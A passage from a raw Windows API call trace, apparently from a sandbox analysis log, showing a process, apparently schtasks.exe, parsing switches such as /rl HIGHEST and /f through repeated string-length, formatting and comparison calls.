_Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|u|") returned 3 [0083.778] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.778] lstrlenW (lpString="|u|") returned 3 [0083.778] lstrlenW (lpString="|rl|") returned 4 [0083.778] SetLastError (dwErrCode=0x490) [0083.778] lstrlenW (lpString="p") returned 1 [0083.778] lstrlenW (lpString="p") returned 1 [0083.778] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.778] lstrlenW (lpString="rl") returned 2 [0083.778] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.778] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|p|") returned 3 [0083.778] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.778] lstrlenW (lpString="|p|") returned 3 [0083.778] lstrlenW (lpString="|rl|") returned 4 [0083.778] SetLastError (dwErrCode=0x490) [0083.778] lstrlenW (lpString="ru") returned 2 [0083.778] lstrlenW (lpString="ru") returned 2 [0083.778] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.778] lstrlenW (lpString="rl") returned 2 [0083.778] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.778] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ru|") returned 4 [0083.778] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.778] lstrlenW (lpString="|ru|") returned 4 [0083.778] lstrlenW (lpString="|rl|") returned 4 [0083.779] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0083.779] SetLastError (dwErrCode=0x490) [0083.779] lstrlenW (lpString="rp") returned 2 [0083.779] lstrlenW (lpString="rp") returned 2 [0083.779] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.779] lstrlenW (lpString="rl") returned 2 [0083.779] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.779] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rp|") returned 4 [0083.779] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.779] lstrlenW (lpString="|rp|") returned 4 [0083.779] lstrlenW (lpString="|rl|") returned 4 [0083.779] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0083.779] SetLastError (dwErrCode=0x490) [0083.779] lstrlenW (lpString="sc") returned 2 [0083.779] lstrlenW (lpString="sc") returned 2 [0083.779] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.779] lstrlenW (lpString="rl") returned 2 [0083.779] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.779] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.779] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.779] lstrlenW (lpString="|sc|") returned 4 [0083.779] lstrlenW (lpString="|rl|") returned 4 [0083.779] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0083.780] SetLastError (dwErrCode=0x490) [0083.780] lstrlenW (lpString="mo") returned 2 [0083.780] lstrlenW (lpString="mo") returned 2 [0083.780] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.780] lstrlenW (lpString="rl") returned 2 [0083.780] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.780] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|mo|") returned 4 [0083.780] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.780] lstrlenW (lpString="|mo|") returned 4 [0083.780] lstrlenW (lpString="|rl|") returned 4 [0083.780] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0083.780] SetLastError (dwErrCode=0x490) [0083.780] lstrlenW (lpString="d") returned 1 [0083.780] lstrlenW (lpString="d") returned 1 [0083.780] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.780] lstrlenW (lpString="rl") returned 2 [0083.780] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.780] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|d|") returned 3 [0083.781] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.781] lstrlenW (lpString="|d|") returned 3 [0083.781] lstrlenW (lpString="|rl|") returned 4 [0083.781] SetLastError (dwErrCode=0x490) [0083.781] lstrlenW (lpString="m") returned 1 [0083.781] lstrlenW (lpString="m") returned 1 [0083.781] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.781] lstrlenW (lpString="rl") returned 2 [0083.781] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.781] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|m|") returned 3 [0083.781] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.781] lstrlenW (lpString="|m|") returned 3 [0083.781] lstrlenW (lpString="|rl|") returned 4 [0083.781] SetLastError (dwErrCode=0x490) [0083.781] lstrlenW (lpString="i") returned 1 [0083.781] lstrlenW (lpString="i") returned 1 [0083.781] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.781] lstrlenW (lpString="rl") returned 2 [0083.781] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.781] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|i|") returned 3 [0083.781] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.781] lstrlenW (lpString="|i|") returned 3 [0083.781] lstrlenW (lpString="|rl|") returned 4 [0083.781] SetLastError (dwErrCode=0x490) [0083.781] lstrlenW (lpString="tn") returned 2 [0083.782] lstrlenW (lpString="tn") returned 2 [0083.782] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.782] lstrlenW (lpString="rl") returned 2 [0083.782] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.782] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.782] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.782] lstrlenW (lpString="|tn|") returned 4 [0083.782] lstrlenW (lpString="|rl|") returned 4 [0083.782] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0083.782] SetLastError (dwErrCode=0x490) [0083.782] lstrlenW (lpString="tr") returned 2 [0083.782] lstrlenW (lpString="tr") returned 2 [0083.782] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.782] lstrlenW (lpString="rl") returned 2 [0083.782] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.782] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.782] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.782] lstrlenW (lpString="|tr|") returned 4 [0083.782] lstrlenW (lpString="|rl|") returned 4 [0083.782] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0083.782] SetLastError (dwErrCode=0x490) [0083.782] lstrlenW (lpString="st") returned 2 [0083.782] lstrlenW (lpString="st") returned 2 [0083.782] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.783] lstrlenW (lpString="rl") returned 2 [0083.783] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.783] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|st|") returned 4 [0083.783] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.783] lstrlenW (lpString="|st|") returned 4 [0083.783] lstrlenW (lpString="|rl|") returned 4 [0083.783] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0083.783] SetLastError (dwErrCode=0x490) [0083.783] lstrlenW (lpString="sd") returned 2 [0083.783] lstrlenW (lpString="sd") returned 2 [0083.783] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.783] lstrlenW (lpString="rl") returned 2 [0083.783] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.783] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sd|") returned 4 [0083.783] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.783] lstrlenW (lpString="|sd|") returned 4 [0083.783] lstrlenW (lpString="|rl|") returned 4 [0083.783] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0083.783] SetLastError (dwErrCode=0x490) [0083.783] lstrlenW (lpString="ed") returned 2 [0083.783] lstrlenW (lpString="ed") returned 2 [0083.783] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.783] lstrlenW (lpString="rl") returned 2 [0083.784] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.784] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ed|") returned 4 [0083.784] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.784] lstrlenW (lpString="|ed|") returned 4 [0083.784] lstrlenW (lpString="|rl|") returned 4 [0083.784] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0083.784] SetLastError (dwErrCode=0x490) [0083.784] lstrlenW (lpString="it") returned 2 [0083.784] lstrlenW (lpString="it") returned 2 [0083.784] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.784] lstrlenW (lpString="rl") returned 2 [0083.784] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.784] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|it|") returned 4 [0083.784] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.784] lstrlenW (lpString="|it|") returned 4 [0083.784] lstrlenW (lpString="|rl|") returned 4 [0083.784] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0083.784] SetLastError (dwErrCode=0x490) [0083.784] lstrlenW (lpString="et") returned 2 [0083.784] lstrlenW (lpString="et") returned 2 [0083.784] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.784] lstrlenW (lpString="rl") returned 2 [0083.784] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.784] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|et|") returned 4 [0083.785] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.785] lstrlenW (lpString="|et|") returned 4 [0083.785] lstrlenW (lpString="|rl|") returned 4 [0083.785] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0083.785] SetLastError (dwErrCode=0x490) [0083.785] lstrlenW (lpString="k") returned 1 [0083.785] lstrlenW (lpString="k") returned 1 [0083.785] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.785] lstrlenW (lpString="rl") returned 2 [0083.785] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.785] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|k|") returned 3 [0083.785] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.785] lstrlenW (lpString="|k|") returned 3 [0083.785] lstrlenW (lpString="|rl|") returned 4 [0083.785] SetLastError (dwErrCode=0x490) [0083.785] lstrlenW (lpString="du") returned 2 [0083.785] lstrlenW (lpString="du") returned 2 [0083.785] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.785] lstrlenW (lpString="rl") returned 2 [0083.785] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.785] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|du|") returned 4 [0083.785] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.785] lstrlenW (lpString="|du|") returned 4 [0083.785] lstrlenW (lpString="|rl|") returned 4 [0083.785] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0083.786] SetLastError (dwErrCode=0x490) [0083.786] lstrlenW (lpString="ri") returned 2 [0083.786] lstrlenW (lpString="ri") returned 2 [0083.786] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.786] lstrlenW (lpString="rl") returned 2 [0083.786] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.786] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ri|") returned 4 [0083.786] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.786] lstrlenW (lpString="|ri|") returned 4 [0083.786] lstrlenW (lpString="|rl|") returned 4 [0083.786] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0083.786] SetLastError (dwErrCode=0x490) [0083.786] lstrlenW (lpString="z") returned 1 [0083.786] lstrlenW (lpString="z") returned 1 [0083.786] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.786] lstrlenW (lpString="rl") returned 2 [0083.786] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.786] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|z|") returned 3 [0083.786] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.786] lstrlenW (lpString="|z|") returned 3 [0083.786] lstrlenW (lpString="|rl|") returned 4 [0083.786] SetLastError (dwErrCode=0x490) [0083.786] lstrlenW (lpString="f") returned 1 [0083.786] lstrlenW (lpString="f") returned 1 [0083.786] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] lstrlenW (lpString="rl") returned 2 [0083.787] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.787] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.787] lstrlenW (lpString="|f|") returned 3 [0083.787] lstrlenW (lpString="|rl|") returned 4 [0083.787] SetLastError (dwErrCode=0x490) [0083.787] lstrlenW (lpString="v1") returned 2 [0083.787] lstrlenW (lpString="v1") returned 2 [0083.787] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] lstrlenW (lpString="rl") returned 2 [0083.787] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|v1|") returned 4 [0083.787] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.787] lstrlenW (lpString="|v1|") returned 4 [0083.787] lstrlenW (lpString="|rl|") returned 4 [0083.787] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0083.787] SetLastError (dwErrCode=0x490) [0083.787] lstrlenW (lpString="xml") returned 3 [0083.787] lstrlenW (lpString="xml") returned 3 [0083.787] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] lstrlenW (lpString="rl") returned 2 [0083.787] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.787] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|xml|") returned 5 [0083.787] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.788] lstrlenW (lpString="|xml|") returned 5 [0083.788] lstrlenW (lpString="|rl|") returned 4 [0083.788] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0083.788] SetLastError (dwErrCode=0x490) [0083.788] lstrlenW (lpString="ec") returned 2 [0083.788] lstrlenW (lpString="ec") returned 2 [0083.788] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.788] lstrlenW (lpString="rl") returned 2 [0083.788] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.788] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ec|") returned 4 [0083.788] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.788] lstrlenW (lpString="|ec|") returned 4 [0083.788] lstrlenW (lpString="|rl|") returned 4 [0083.788] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0083.788] SetLastError (dwErrCode=0x490) [0083.788] lstrlenW (lpString="rl") returned 2 [0083.788] lstrlenW (lpString="rl") returned 2 [0083.788] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.788] lstrlenW (lpString="rl") returned 2 [0083.788] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.788] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.788] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rl|") returned 4 [0083.789] lstrlenW (lpString="|rl|") returned 4 [0083.789] lstrlenW (lpString="|rl|") returned 4 [0083.789] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0083.789] SetLastError (dwErrCode=0x0) [0083.789] SetLastError (dwErrCode=0x0) [0083.789] lstrlenW (lpString="HIGHEST") returned 7 [0083.789] lstrlenW (lpString="-/") returned 2 [0083.789] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0083.789] SetLastError (dwErrCode=0x490) [0083.789] SetLastError (dwErrCode=0x490) [0083.789] SetLastError (dwErrCode=0x0) [0083.789] lstrlenW (lpString="HIGHEST") returned 7 [0083.789] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0083.789] SetLastError (dwErrCode=0x490) [0083.789] SetLastError (dwErrCode=0x0) [0083.789] _memicmp (_Buf1=0x1cd620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.789] lstrlenW (lpString="HIGHEST") returned 7 [0083.789] lstrlenW (lpString="HIGHEST") returned 7 [0083.789] lstrlenW (lpString=" \x09") returned 2 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0083.789] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0083.789] GetLastError () returned 0x0 [0083.790] lstrlenW (lpString="HIGHEST") returned 7 [0083.790] lstrlenW (lpString="HIGHEST") returned 7 [0083.790] SetLastError (dwErrCode=0x0) [0083.790] SetLastError (dwErrCode=0x0) [0083.790] lstrlenW (lpString="/f") returned 2 [0083.790] lstrlenW (lpString="-/") returned 2 [0083.790] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.790] lstrlenW (lpString="create") returned 6 [0083.790] lstrlenW (lpString="create") returned 6 [0083.790] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.790] lstrlenW (lpString="f") returned 1 [0083.790] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.790] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|create|") returned 8 [0083.790] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.790] lstrlenW (lpString="|create|") returned 8 [0083.790] lstrlenW (lpString="|f|") returned 3 [0083.790] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0083.790] SetLastError (dwErrCode=0x490) [0083.790] lstrlenW (lpString="?") returned 1 [0083.790] lstrlenW (lpString="?") returned 1 [0083.790] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.790] lstrlenW (lpString="f") returned 1 [0083.790] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.790] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|?|") returned 3 [0083.790] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.791] lstrlenW (lpString="|?|") returned 3 [0083.791] lstrlenW (lpString="|f|") returned 3 [0083.791] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0083.791] SetLastError (dwErrCode=0x490) [0083.791] lstrlenW (lpString="s") returned 1 [0083.791] lstrlenW (lpString="s") returned 1 [0083.791] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.791] lstrlenW (lpString="f") returned 1 [0083.791] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.791] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|s|") returned 3 [0083.791] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.791] lstrlenW (lpString="|s|") returned 3 [0083.791] lstrlenW (lpString="|f|") returned 3 [0083.791] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0083.791] SetLastError (dwErrCode=0x490) [0083.791] lstrlenW (lpString="u") returned 1 [0083.791] lstrlenW (lpString="u") returned 1 [0083.791] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.791] lstrlenW (lpString="f") returned 1 [0083.791] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.791] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|u|") returned 3 [0083.791] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.791] lstrlenW (lpString="|u|") returned 3 [0083.791] lstrlenW (lpString="|f|") returned 3 [0083.791] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0083.791] SetLastError (dwErrCode=0x490) [0083.792] lstrlenW (lpString="p") returned 1 [0083.792] lstrlenW (lpString="p") returned 1 [0083.792] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.792] lstrlenW (lpString="f") returned 1 [0083.792] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.792] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|p|") returned 3 [0083.792] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.792] lstrlenW (lpString="|p|") returned 3 [0083.792] lstrlenW (lpString="|f|") returned 3 [0083.792] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0083.792] SetLastError (dwErrCode=0x490) [0083.792] lstrlenW (lpString="ru") returned 2 [0083.792] lstrlenW (lpString="ru") returned 2 [0083.792] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.792] lstrlenW (lpString="f") returned 1 [0083.792] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.792] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ru|") returned 4 [0083.792] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.792] lstrlenW (lpString="|ru|") returned 4 [0083.792] lstrlenW (lpString="|f|") returned 3 [0083.792] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0083.792] SetLastError (dwErrCode=0x490) [0083.792] lstrlenW (lpString="rp") returned 2 [0083.792] lstrlenW (lpString="rp") returned 2 [0083.792] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] lstrlenW (lpString="f") returned 1 [0083.793] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|rp|") returned 